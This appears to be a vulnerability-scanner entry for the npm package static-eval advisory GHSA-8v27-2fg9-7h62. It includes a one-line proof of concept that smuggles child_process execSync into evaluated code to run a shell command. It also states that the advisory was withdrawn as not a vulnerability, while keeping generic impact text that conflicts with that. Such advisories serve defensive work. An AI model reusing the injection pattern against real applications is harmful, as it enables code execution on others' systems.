QID 982671
QID 982671: Nodejs (npm) Security Update for static-eval (GHSA-8v27-2fg9-7h62)
All versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals. PoC: var evaluate = require('static-eval'); var parse = require('esprima').parse; var src="(function (x) { return ${eval("console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())")} })()" var ast = parse(src).body[0].expression; evaluate(ast)
# WITHDRAWN
This was deemed not a vulnerability. See [this issue](https://github.com/browserify/static-eval/issues/34) for details.
Successful exploitation of this vulnerability may affect the confidentiality, integrity, and availability of the targeted user.
Solution
Customers are advised to refer to GHSA-8v27-2fg9-7h62 for updates pertaining to this vulnerability.
Vendor References
- GHSA-8v27-2fg9-7h62 -
github.com/advisories/GHSA-8v27-2fg9-7h62
CVEs related to QID 982671
Software Advisories
| Advisory ID | Software | Component | Link |
|---|---|---|---|
| GHSA-8v27-2fg9-7h62 | static-eval |
|